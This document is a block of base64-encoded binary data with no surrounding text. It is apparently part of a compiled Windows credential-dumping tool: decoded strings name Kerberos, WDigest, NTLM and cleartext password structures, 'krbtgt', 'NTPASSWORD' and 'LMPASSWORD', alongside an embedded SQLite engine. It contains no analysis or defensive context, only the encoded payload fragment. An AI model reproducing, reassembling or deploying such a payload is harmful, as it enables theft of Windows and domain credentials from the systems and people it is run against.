AC0A9QDiAAsCsQJSAu4ApwKoAjMANAAqAGcCZwJzApMAawJrAjEAMQAyADIAMgAyAC0BMAAwADAAMAAvAC8ALgAuAC4ALQD1ADcCHALMAc0BzgHmAbsA4gC2AksAnwBsAiwAKQAzADQAKgBnAmcCcwIfAGsCawIxADEAMgAyADIAMgAsATAAMAAwADAALwAvAC4ALgAuAC0A9QDiACkBDQEVASwAKQBRAjMAKAAqAGcCZwJzAiIAawJrAjEAMQAyADIAMgAyAOQAMAAwADAAMAAvAC8ALgAuAC4ALQD1AOIAtAD0AJIAkQCQAAcBKgI0ACoAZwJnAnMCfwBrAmsCMQAxADIAMgAyADIApgIwADAAMAAwAC8ALwAuAC4ALgAtAPUA4gDvAOUAzAC0AJID3gHjAKIAKgBnAmcCcwJNAmsCawIxADEAMgAyADIAMgC0AjAAMAAwADAALwAvAC4ALgAuAC0A9QAnAKkCNQCmAuoArQKvAPwAsQDuAScAowA1AKYADAEeAIoANQCAABABlwB7ANQAJgHPACUBlAAkACUAHQL6AKICogLLACYA9gD2ACQAJQC2Ag4AKgIkACUAJgD2APYAtQKkACYA9gD2ADIAMgAyADIAKwAwADAAMAAwAC8ALwAuAC4ALgAtAPUAMAAwADAAMAAvAC8ALgAuAC4ALQD1ADYAowKkAl4C/gAvAS4BLQD1AFMCdgAUArICXgLvAS8BLgG1Al4CUwIvAS4BDwGgAFMCfQB8ALUA3ADbANoAmgDYAOgB6AHWAbcAWAJYAlgCWgILAKICogLtAOwAtABYAlgCWAJaAgsAWAJYAlgCWgILAC0BtAAyADIAMgAyAO8BMAAwADAAMAAvAC8ALgAuAC4ALQD1ADkAjAK2AksAUQJeAk8CWQJeAokAWQJTAokCOgBTAnQAowKkAo4AMgHJASIBHwEeARACrgAtAW4AogKiApUCAQAdAeIBEwLMACkBEQFfAFgCWAJYAlgCWAJYAo0CtgJLAB4CogKiAqICogItAaICogIaARsAuAK4AmkAuQCOAuYADgItAZMADQDpAC0B8QAtARIBtgIPAC0BDwKjAqQCswApASoB4gH6AQgBtgJLAOcAggC2AksAtgIPANsBLQG2Ag8AJAGjAqQCowKkArwAowKkAhgBbwD7ARMB6wAUArIChAOXArYCDwDT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